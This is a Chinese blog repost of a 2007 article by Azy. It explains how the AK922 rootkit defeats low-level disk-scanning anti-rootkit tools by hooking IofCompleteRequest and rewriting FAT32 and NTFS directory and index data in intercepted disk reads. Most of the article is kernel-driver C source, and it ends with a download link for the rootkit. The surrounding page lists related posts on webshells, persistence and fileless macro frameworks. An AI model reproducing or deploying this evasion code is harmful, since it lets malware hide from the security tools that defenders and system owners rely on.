突破磁盘低级检测实现文件隐藏

告别“正在使用”困扰:Windows磁盘管理工具强制格式化实战指南 本文详细解析Windows磁盘管理工具强制格式化的实战技巧,解决“此驱动器正在使用中”的常见问题。通过图形界面和命令行两种方法,提供格式化硬盘的步骤与避坑指南,帮助用户高效完成磁盘管理任务,特别适合遇到顽固占用情况的用户。 阅读详情
作者:Azy
完成于:2007-08-08

目前,一些已公开的主流anti-rootkit检测隐藏文件主要有两种方法:第一种是文件系统层的检测,属于这一类的有icesword, darkspy,gmer等。第二种便是磁盘级别的低级检测(Disk Low-Level Scanning),属于这一类的ark也很多,典型代表为rootkit unhooker,filereg(is的插件),rootkit revealer,blacklight等。当然,还有一些工具,它们在应用层上通过调用ZwQueryDirectoryFile来实施检测。
驱动也好,应用也罢,说白了就是直接或间接发送IRP到下层驱动。第一类的发送到FSD中(fastfat.sys/ntfs.sys),第二类被发送到磁盘驱动(disk.sys),而后IRP便会携带相应的文件信息返回,这时上层应用再根据返回信息进行处理和判断。但是由于Disk级比FS级更底层, IRP返回给我们的是更加接近数据原始组织方式的磁盘扇区信息,所以在Disk层上实施文件检测可以得到更令人信服的结果。但这并不等于说这类检测不能被击败。本文就将介绍一种绕过该类检测的实现方法,当然,这也是在AK922中使用的。
对于要实现文件隐藏的RK,与其说是“绕过”,还不如说是“拦截” -- 挂钩某些内核函数调用,以便在返回上层之前我们有机会过滤掉待隐藏文件的信息。
AK922采用的方法是Hook内核函数IofCompleteRequest。这个函数很有意思,因为它不仅是一个几乎在任何驱动中都要调用的函数,而且参数中正好含有IRP。有了IRP,就有了一切。这些特性决定了它很适合做我们的“傀儡”。但更重要的是,一般在驱动中调用 IofCompleteRequest之时IRP操作都已完毕,IRP中相关域已经填充了内容,这就便于我们着手直接进行过滤而不用再做诸如发送IRP安装完成例程之类的操作。
下面就着重说一下工作流程:
首先,判断MajorFunction是不是IRP_MJ_READ以及IO堆栈中的DeviceObject是否是磁盘驱动的设备对象,因为这才是我们要处理的核心IRP,所有ark直接发送到Disk层的IRP在这里都可以被拦截到。
接下来的处理要特别注意,进入到这里时IRQL是在APC_LEVEL以上的,因此我们不能碰任何IRP中的用户模式缓冲区,一碰极有可能蓝,也就是说我们不能直接处理相关磁盘扇区信息,而必须通过ExQueueWorkItem排队一个WorkItem的方法来处理。除此之外,由于Disk层在设备堆栈中处于靠下的位置,大部分IRP发到这里时当前进程上下文早已不是原始IRP发起者的进程上下文了,这里的发起者应理解为ark进程。幸运的是在IRP的 Tail.Overlay.Thread域中还保存着原始ETHREAD指针,为了操作用户模式缓冲区,必须调用KeAttachProcess切到 IRP发起者的上下文环境中,而这个工作只能在处于PASSIVE_LEVEL级上的工作者线程中执行。在DISPATCH_LEVEL级上,做的事越少越好。
刚开始我还分两种情况进行处理:因为并不是所有的IRP都不处在原始上下文中,比如icesword发的IRP到这里还是处在icesword.exe进程中的,这时我认为可以不用排队工作项,这样就可以节省很多系统资源,提高过滤效率。于是我试图在DISPATCH_LEVEL级上直接操作用户缓冲区,但这根本行不通。驱动很不稳定,不一会就蓝了。故索性老老实实地排队去了,然后再分情况处理。代码如下:

// 处理Disk Low-Level Scanning
if(irpSp->MajorFunction == IRP_MJ_READ && IsDiskDrxDevice(irpSp->DeviceObject) && irpSp->Parameters.Read.Length != 0)
{

orgnThread = Irp->Tail.Overlay.Thread;
orgnProcess = IoThreadToProcess(orgnThread);

if(Irp->MdlAddress)
{
UserBuffer = (PVOID)((ULONG)Irp->MdlAddress->StartVa + Irp->MdlAddress->ByteOffset);

// UserBuffer必须有效
if(UserBuffer)
{

if(KeGetCurrentIrql() == DISPATCH_LEVEL)
{

RtlZeroMemory(WorkerCtx, sizeof(WORKERCTX));

WorkerCtx->UserBuffer = UserBuffer;
WorkerCtx->Length = irpSp->Parameters.Read.Length;
WorkerCtx->EProc = orgnProcess;

ExInitializeWorkItem(&WorkerCtx->WorkItem, WorkerThread, WorkerCtx);

ExQueueWorkItem(&WorkerCtx->WorkItem, CriticalWorkQueue);
}
}

}
}


来到工作者线程,到了PASSIVE_LEVEL级上,切换上下文之后,似乎安全多了。但是以防万一,操作用户模式缓冲区之前还是要调用ProbeForXxx函数先判断一下。相关代码如下:

VOID WorkerThread(PVOID Context)
{
KIRQL irql;
PEPROCESS eproc = ((PWORKERCTX)Context)->orgnEProc;
PEPROCESS currProc = ((PWORKERCTX)Context)->currEProc;
//PMDL mdl;


if(((PWORKERCTX)Context)->UserBuffer)
{
if(eproc != currProc)
{

KeAttachProcess(eproc);

__try{

// ProbeForWrite must be running <= APC_LEVEL
ProbeForWrite(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length, 1);
HandleAkDiskHide(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length);
}

__except(EXCEPTION_EXECUTE_HANDLER){

//DbgPrint("we can't op the buffer now :-(");
KeDetachProcess();
return;
}

KeDetachProcess();

}else{

__try{

// ProbeForWrite must be running <= APC_LEVEL
ProbeForWrite(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length, 1);
HandleAkDiskHide(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length);
}

__except(EXCEPTION_EXECUTE_HANDLER){}
}

}
}

准备工作终于算是做得差不多了,下面就开始真正涂改磁盘扇区内容了。这里将涉及到FAT32和NTFS磁盘文件结构,我先把要用到的主要结构列出来,其余的大家可以参考《NTFS Documentation》。

typedef struct _INDEX_HEADER{
UCHAR magic[4];
USHORT UpdateSequenceOffset;
USHORT SizeInWords;
LARGE_INTEGER LogFileSeqNumber;
LARGE_INTEGER VCN;
ULONG IndexEntryOffset; // needed!
ULONG IndexEntrySize;
ULONG AllocateSize;
}INDEX_HEADER, *PINDEX_HEADER;

typedef struct _INDEX_ENTRY{
LARGE_INTEGER MFTReference;
USHORT Size; // needed!
USHORT FileNameOffset;
USHORT Flags;
USHORT Padding;
LARGE_INTEGER MFTReferParent;
LARGE_INTEGER CreationTime;
LARGE_INTEGER ModifyTime;
LARGE_INTEGER FileRecModifyTime;
LARGE_INTEGER AccessTime;
LARGE_INTEGER AllocateSize;
LARGE_INTEGER RealSize;
LARGE_INTEGER FileFlags;
UCHAR FileNameLength;
UCHAR NameSpace;
WCHAR FileName[1];
}INDEX_ENTRY, *PINDEX_ENTRY;

在读取磁盘文件信息时每次都是以一个扇区大小(512 bytes)的整数倍进行的,如果不了解相应卷的组织形式和数据结构,那么感觉就是数据多而繁杂,搜索效率也很低。但辅以上述结构便可快速定位待隐藏文件并进行涂改。这里不得不说一句,算法的高效是很重要的,如果采用暴力搜索的方式,那么系统BSOD的概率会大大增加。
在FAT32卷上,当AK922搜索到文件AK922.sys的目录项时,将其0x0偏移处的文件名的第一个字节置为"0xe5",即标记为删除。这样即可达到欺骗ark的目的。但为了更加隐蔽,不让winhex察觉出来,最好把文件名全部清0。
处理NTFS卷稍微麻烦些,文件记录和索引项都要抹干净,具体实现见代码,这里不再赘述。

VOID HandleAkDiskHide(PVOID UserBuf, ULONG BufLen)
{
ULONG i;
BOOLEAN bIsNtfsIndex;
BOOLEAN bIsNtfsFile;
ULONG offset = 0;
ULONG indexSize = 0;
PINDEX_ENTRY currIndxEntry = NULL;
PINDEX_ENTRY preIndxEntry = NULL;
ULONG currPosition;


bIsNtfsFile = (_strnicmp(UserBuf, NtfsFileRecordHeader, 4) == 0);
bIsNtfsIndex = (_strnicmp(UserBuf, NtfsIndexRootHeader, 4) == 0);

if(bIsNtfsFile == FALSE && bIsNtfsIndex == FALSE)
{

for(i = 0; i < BufLen/0x20; i++)
{
if(!_strnicmp(UserBuf, fileHide, 5) && !_strnicmp((PVOID)((ULONG)UserBuf+0x8), fileExt, 3))
{

*(PUCHAR)UserBuf = 0xe5;
*(PULONG)((ULONG)UserBuf + 0x1) = 0;

break;

}

UserBuf = (PVOID)((ULONG)UserBuf + 0x20);

}

} else if(bIsNtfsFile) {

//DbgPrint("FILE0...");

for(i = 0; i < BufLen / FILERECORDSIZE; i++)
{
if(!_wcsnicmp((PWCHAR)((ULONG)UserBuf + 0xf2), hideFile, 9))
{
memset((PVOID)UserBuf, 0, 0x4);
memset((PVOID)((ULONG)UserBuf + 0xf2), 0, 18);
break;
}

UserBuf = (PVOID)((ULONG)UserBuf + FILERECORDSIZE);

}

} else if(bIsNtfsIndex) {

//DbgPrint("INDX...");
// Index Entries

offset = ((PINDEX_HEADER)UserBuf)->IndexEntryOffset + 0x18;
indexSize = BufLen - offset;
currPosition = 0;

currIndxEntry = (PINDEX_ENTRY)((ULONG)UserBuf + offset);
//DbgPrint(" -- offset: 0x%x indexSize: 0x%x", offset, indexSize);

while(currPosition < indexSize && currIndxEntry->Size > 0 && currIndxEntry->FileNameOffset > 0)
{
if(!_wcsnicmp(currIndxEntry->FileName, hideFile, 9))
{
memset((PVOID)currIndxEntry->FileName, 0, 18);

if(currPosition == 0)
{
((PINDEX_HEADER)UserBuf)->IndexEntryOffset += currIndxEntry->Size;
break;
}

preIndxEntry->Size += currIndxEntry->Size;

break;
}

currPosition += currIndxEntry->Size;
preIndxEntry = currIndxEntry;
currIndxEntry = (PINDEX_ENTRY)((ULONG)currIndxEntry + currIndxEntry->Size);

}
}
}

水平有限,欢迎大家与我交流。

参考资料:

[1] - 《NTFS Documentation》
[2] - Azy,《IceSword & Rootkit Unhooker驱动简析》

---------

关于AK922(AzyKit):我写的一个只实现文件隐藏的RK,可以bypass本文提到的所有ark。
Download @ http://www.wiiupload.net/sf/65b4e75ec4  
WebShell攻击原理与防御实战:从上传到检测的完整攻防指南 WebShell作为一种常见的Web安全威胁,本质上是攻击者植入服务器端的恶意脚本,通过Web接口提供远程命令执行能力,实现权限持久化与内网渗透。其技术原理在于利用文件上传、代码注入等漏洞,将恶意脚本写入Web可访问目录,从而绕过常规身份验证机制。在安全工程实践中,防御WebShell的核心价值在于保护服务器控制权,防止数据泄露与系统沦陷。应用场景广泛覆盖网站运维、应用开发和安全防护领域。针对当前攻防对抗中出现的“WebShell上传不执行”现象,本文深入剖析了权限配置、服务器安全策略、脚本兼容性等六大关键 阅读详情

相关推荐

DVWA靶场实战:文件上传漏洞攻防全解析与绕过技巧

文件上传功能是Web应用的基础组件,其安全机制直接关系到服务器安全。从原理上讲,攻击者通过上传恶意文件(如Webshell)可获取服务器控制权,危害巨大。防御的核心在于建立多层校验体系,包括前端校验、MIME类型检查、文件扩展名白名单及文件内容检测(如getimagesize()函数验证魔术头)。这些技术旨在确保上传文件的合法性与安全性,防止恶意代码执行。在工程实践中,常见的绕过手段包括抓包修改HTTP请求、利用.htaccess文件配置Apache解析规则、制作图片马(Image Shell)并结合文件包

weixin_33910137的博客 377

摘除过滤驱动

转自:http://hi.baidu.com/_achillis/blog/item/cc9cf925c23260064d088d05.html 开始本文之前先膜拜一下老V~“无法F5的驱动,不是好驱动啊~不是好驱动啊~ ”            -----killvxk语录这两天下午的时间,破解那个驱动保护搞得好痛苦,每次关机都要蓝一次,有时候设备还不工作,郁闷...

wowbell的专栏 1383

Windows权限维持与后门技术:攻防博弈中的持久化策略

在网络安全领域,权限维持是攻击者在成功入侵系统后,为确保长期、隐蔽访问而采取的一系列关键技术。其核心原理在于利用操作系统提供的各种自动执行机制,如注册表启动项、计划任务、系统服务等,建立隐蔽的持久化通道。这项技术的价值在于模拟高级持续性威胁(APT)攻击的驻留阶段,对于渗透测试、红队演练和防御方理解攻击链至关重要。常见的应用场景包括系统渗透测试、应急响应演练和安全加固评估。通过深入分析Windows环境下的权限维持技术,可以更好地掌握攻防对抗中的持久化策略,提升整体安全防护能力。

a2850363633的博客 352

ak922.sys分析

-*- begin -*- 这是一个 C 语言编写的驱动级的 rootkit 程序。这个驱动可以隐藏名为 AK922.SYS 的文件。 该驱动加载后首先获取 nt!IofCompleteRequest 函数的地址。以及在 kpeb 中定位进程名的偏移。之后,该驱动会依次完成以下操作: 1、通过 nt!ObReferenceObjectByName 打开磁盘驱动 /D

1274

用完成端口实现的仿 QueueWorkItem 接口的线程池

用非常少的代码实现的线程池。完全免费,可以随意使用,恕不提供代码。

察看内核IRP请求的工具

察看内核中IRP请求的工具,编写驱动程序必备

ARP欺骗学习以及mj的hook代码还原

ARP欺骗学习以及mj的hook代码还原文章作者:zhuwg信息来源:邪恶八进制信息安全团队(www.eviloctal.com)ARP协议是建立在信任局域网内所有结点的基础上的,它很高效,但却不安全。它是无状态的协议,不会检查自己是否发过请求包,也不管(其实也不知道)是否是合法的应答,只要收到目标MAC是自己的ARP reply包或arp广播包(包括ARP request和ARP reply

井底之蛙 1719

HDHook(附源码)HookAPI改变硬盘串号和MAC地址

VC++源码 一个使用detours来HookAPI的简单例子 DeviceIoControl获取硬盘串号 GetAdaptersInfo获取MAC Hook这两个API改变获取的硬盘串号和MAC地址 HDHook工程 生成dll GetHDDSN工程 载入生成的dll 获取硬盘串号和MAC地址 需要自行安装detours

Windows驱动 - WorkItem

0x00 函数 组合1 IoAllocateWorkItem() //分配一个工作项 IoQueueWorkItem() //将WorkItem例程与工作项关联,并将工作项插入队列中,供系统工作线程稍后处理。 -> 工作项、回调函数、队列类型、参数进行关联 IoFreeWorkItem() //释放一个由IoAllocateWorkItem分配的工作项 组合2 IoInitializeWorkItem() //初始化调用方已经分配的工作项。参数2必须从非分页池分配内存 IoQue...

qq726232111的博客 1944

MIPS-5级流水线CPU

一、流水线CPU 流水线CPU就是指将一条分解为多步,在同一周期内进行多条指令的同时执行。MIPS五级流水线就是将指令分为:取指(IF),译码(ID),执行(EX),访存(MEM),写回(WB)五个阶段。举个例子: 比如第二条指令lui $t2,0x2100 在流水线CPU中执行的就是 可以看到在200-300ns的周期里,IF阶段取到0x00400004处的指令,300-400ns,这条指令到了ID阶段,而IF阶段执行下一条指令。400-500ns,执行这条指令,ALU的结果为0x2100

weixin_43877853的博客 2万+

Ubuntu 22.04 搭建 PX4 飞控系统完全指南:从仿真到硬件试飞

定义消息文件protobufuint64 timestamp # 时间戳float32 temperature # 温度float32 humidity # 湿度生成代码:bashPX4 在 Ubuntu 22.04 的搭建涉及环境配置、编译仿真、硬件连接等多环节,核心是理解 PX4 1.14 的新特性(uXRCE-DDS、动态控制分配)。通过本文指南,开发者可快速构建稳定的 PX4 开发环境,为无人机应用开发奠定基础。

zqmgx13291的博客 3045

AK922: 突破磁盘低级检测实现文件隐藏

AK922: 突破磁盘低级检测实现文件隐藏作者:Azyemail: Azy000@gmail.com完成于:2007-08-08   目前,一些已公开的主流anti-rootkit检测隐藏文件主要有两种方法:第一种是文件系统层的检测,属于这一类的有icesword,darkspy,gmer等。第二种便是磁盘级别的低级检测(Disk Low-Level Scanning),属于这一类的ark也很多,

1369

用Python turtle库 绘制皮卡丘

Turtle库是Python语言中一个很流行的绘制图像的函数库,想象一个小乌龟,在一个横轴为x、纵轴为y的坐标系原点,(0,0)位置开始,它根据一组函数指令的控制,在这个平面坐标系中移动,从而在它爬行的路径上绘制了图形。 turtle基础知识参考: https://gitchat.blog.youkuaiyun.com/article/details/90696190 https://blog.csdn.ne...

qq_36295856的博客 2万+

汉澳sinox或可阻断美国国安全局硬盘隐藏间谍程序

硬盘粉碎机对硬盘低格可以对硬盘数据清零,删除间谍软件,但是如果间谍软件存放在硬盘固件中,则删不掉,只要启动硬盘就可以激活,复制出程序在操作系统上运行。 sinox只有内核系统进程和普通进程,普通进程都看得见的,而windows则眼花缭乱,有系统进程,服务进程,exe进程,隐藏进程,系统配置还有庞大的注册表,普通用户根本搞不清,而各种程序运行根本不由用户控制,可以直接运行,用户也看不见。 在

欢迎来到最伟大的操作系统官方博客 1225

AutoDL上传数据详细步骤(自己用的步骤,可能没有其他大佬用的那么高级)

AutoDL上传数据详细步骤(自己用的步骤,可能没有其他大佬用的那么高级)

孟孟单单的博客 7万+

为什么一个“时间片”能折腾 Linux 十年?

时间片扩展不是抢占调度器的控制权,也不是提升优先级。在“非常短暂、非常确定”的用户态临界区内,避免线程被不必要地抢占。用户态自旋锁(user-space spinlock)无系统调用的极短临界区高并发、低延迟的数据结构操作RSEQ(Restartable Sequences)保护区间一旦线程在临界区被抢占,系统整体性能反而下降。线程 A 拿着一个用户态锁线程 B 被调度上来,开始自旋等这个锁但 A 因为时间片用完,被调度器切走CPU 白白空转,所有线程都在浪费时间。

网络技术联盟站 256

高级Bootkit:Tophet.a

高级Bootkit:Tophet.a 摘要: 本文揭示了一种新型的Bootkit技术:Tophet,以及其第一代范本Tophet.a使用的一些新颖的技术。Tophet.a并非病毒或木马,只用来演示高级的启动、穿透与隐身技术。 Bootkit是更高级的Rootkit,该概念最早于2005年被eEyeDigital公司在他们的“BootRoot"项目中提及,该项目通过感染MBR(

多媒体编程、网络编程、系统编程、网络安全编程、驱动编程 1510

大疆 2021 嵌入式笔试题

在深圳做嵌入式,大疆公司绝对是 Top 级别的,大疆的技术栈也很深。

qq_38769551的博客 2496

3 分钟搞定 HMCL 版本管理:建实例、换加载器、装 Modpack

想玩最新版特性,却发现常用 Mod 只支持旧版?或者和朋友联机,版本对不上怎么也加不进?其实不用手动下载、拼配置文件,HMCL 内置的版本管理就能把多版本切换、Mod 加载器安装、Modpack 导入一次搞定,这篇只讲最实用的操作。 ## 如何创建新的游戏版本实例 HMCL 用“实例”的概念管理版本:每个游戏版本都是一个独立实例,拥有自己独立的 `.minecraft/versions/<实例

gitblog_00860的博客 80

基于 Verilog 的经典数字电路设计(10)三态门

三态门(Triple-State Gate)亦称 “三态输出门”、“三态门输出电路”,是一种重要的总线接口电路,具有高电平、低电平和高阻抗三种输出状态的门电路,不过我们通常在设计中比较少见。   三态指其输出既可以是一般二值逻辑电路,即正常的高电平(逻辑 1)或低电平(逻辑 0),又可以保持特有的高阻抗状态,高阻态相当于隔断状态(电阻很大,相当于开路)。

新芯设计的博客 1万+

基于Simulink的间接功率控制的矩阵变换器

通过上述步骤,我们成功设计并实现了基于 Simulink 的间接功率控制的矩阵变换器仿真模型。该模型能够通过控制输入电流和输出电压,实现对功率的间接控制,适用于电机驱动、可再生能源系统、电力传输等领域。通过虚拟场景仿真、参数优化和性能评估,验证了系统的稳定性和高效性,并通过调整 PI 控制器参数和优化调制算法,进一步提升了系统的性能。

MHD0815的博客 297

Ivy框架深度解析:革命性无文件VBA宏执行技术全指南

想要了解如何绕过传统EDR检测、实现真正的无文件攻击吗?Ivy框架为你提供了终极解决方案!作为一款革命性的VBA宏内存执行框架,Ivy通过创新的技术手段,让恶意代码完全在内存中运行,彻底告别磁盘写入,为安全研究人员和红队成员提供了强大的武器库。🎯 ## 🌟 Ivy框架的核心功能与独特优势 Ivy是一个专门为执行任意VBA(宏)源代码而设计的payload创建框架。它的核心创新在于完全在内存

gitblog_01058的博客 507

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

WinDiskWriter:Mac用户制作Windows启动盘的零门槛开源工具

对于使用Mac电脑的用户而言,制作Windows启动盘往往是一项技术门槛较高的任务。传统方法需要通过终端输入复杂命令,涉及磁盘分区、格式化、镜像写入等多个步骤,任何操作失误都可能导致数据丢失或制作失败。WinDiskWriter作为一款专为macOS设计的开源工具,将复杂的技术操作转化为直观的图形界面,让用户无需命令行经验也能轻松完成Windows启动盘制作。 ## 制作启动盘中的三大核心痛点

gitblog_00375的博客 340

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

HDD Regenerator Shell(硬盘再生器)的使用

一、检测硬盘坏道 使用“金海硕效率源硬盘坏道检测程式”软件检测硬盘坏道效果非常好。这款软件的主要功能是对目标硬盘进行全面的坏道检测,支持目前市场上所有的IDE、 SCSI硬盘,包括IBM、富士通、迈拓、昆腾、三星、易拓等硬盘厂商的产品,而且在检测时采用了独特算法对硬盘进行快速、无损数据的检测。 首先第一步要创建启动盘:下载以后,向软驱插入一张软盘,然后双击运行刚下载的soft6.exe文件,此时会

java web 的专栏 8040

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

上一篇: CMD下开启远程桌面服务
下一篇: 国外FlashFxp解密代码
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值